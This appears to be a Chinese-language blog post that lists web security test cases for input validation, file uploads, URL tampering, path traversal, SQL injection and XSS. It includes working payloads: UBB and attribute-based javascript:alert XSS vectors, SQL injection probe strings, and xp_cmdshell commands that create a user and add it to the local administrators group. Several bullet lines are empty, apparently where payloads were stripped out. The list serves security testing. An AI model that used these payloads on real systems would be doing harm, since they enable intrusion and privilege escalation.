用安全測試用例
建立整體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL 注入、身份驗證和授權錯誤.
1、輸入驗證
客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)
1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)
2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格
5.輸入特殊字符串NULL,null,0x0d 0x0a
6.輸入正常字符串
7.輸入與要求不同類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值;
要求輸入字母則檢查輸入數字
8.輸入html和javascript代碼
9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加刪除等操作後查看變化
例如:
1.輸入”gfhd,看是否出錯;
2.輸入,看是否出現文本框;
3.輸入
關於上傳:
1.上傳文件是否有格式限制,是否可以上傳exe文件;
2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳並不存在的文件是否會導致異常錯誤;
3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。
5.上傳文件大小大於本地剩餘空間大小,是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。
7.對於文件名中帶有中文字符,特殊字符等的文件上傳。
下載:
避免輸入:\..\web.
修改命名後綴。
關於URL:
1.某些需登錄後或特殊用戶才能進入的頁面,是否可以通過直接輸入網址的方式進入;
2.對於帶參數的網址,惡意修改其參數,(若爲數字,則輸入字母,或很大的數字,或輸入特殊字符等)後打開網址是否出錯,是否可以非法進入某些頁面;
3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字符。
UBB:
[url=http://www.****.com] 你的網站[/url]
1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.
2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用
3.輸入編輯器中不存在的UBB代碼,看是否起作用
[url=javascript:alert('hello')]鏈接[/url]
[email=javascript:alert('hello')]EMail[/email]
[[email protected] STYLE="background-image:
url(javascript:alert('XSS'))"][email protected][/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg
style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg
"οnmοuseοver=alert('hello');"[/img]
[b STYLE="background-image:
url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]
[i STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
輸出編碼
常用的測試輸入語句有:
1.jpg" οnmοuseοver="alert('xss')
">
http://xxx';alert('xss');var/ a='a
‘”>xss&<</div>
a=”\” ; b=”;alert(/xss/);//”
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
對輸出數據到輸出數據的對比,看是否出現問題。
防止SQL注入
Admin--
‘or -------
‘ and (
) exec insert
* % chr
mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100)
char(49)char(61)char(49) ; AND
1=2
‘and 1=1 ;
‘And 1=1 ;
‘aNd 1=1
;
and 1=2 ;
‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username
已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators
/add”—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where
xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where
name=nchar(29992)+nchar(25143)代替。
跨站腳本攻擊(XSS)
對於 XSS,只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎?是否在 IFRAME
標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內容的 PARAM NAME 是怎樣的?
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★
★
★
★
★
★
★
★
★javascript:alert(/xss/)
★javascript:(/xss/)
★
★
★
★=’>
★1.jpg" οnmοuseοver="alert('xss')
★">
★http://xxx';alert('xss');var/ a='a
★’”>xss&<</div>
★"οnmοuseοver=alert('hello');"
★&{alert('hello');}
★>"'>
★>"'>
★>"'>
★AK"
style="background:url(javascript:alert('XSS'))" OS"
★"+alert('XSS')+"
★
★
★
★a?
★
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.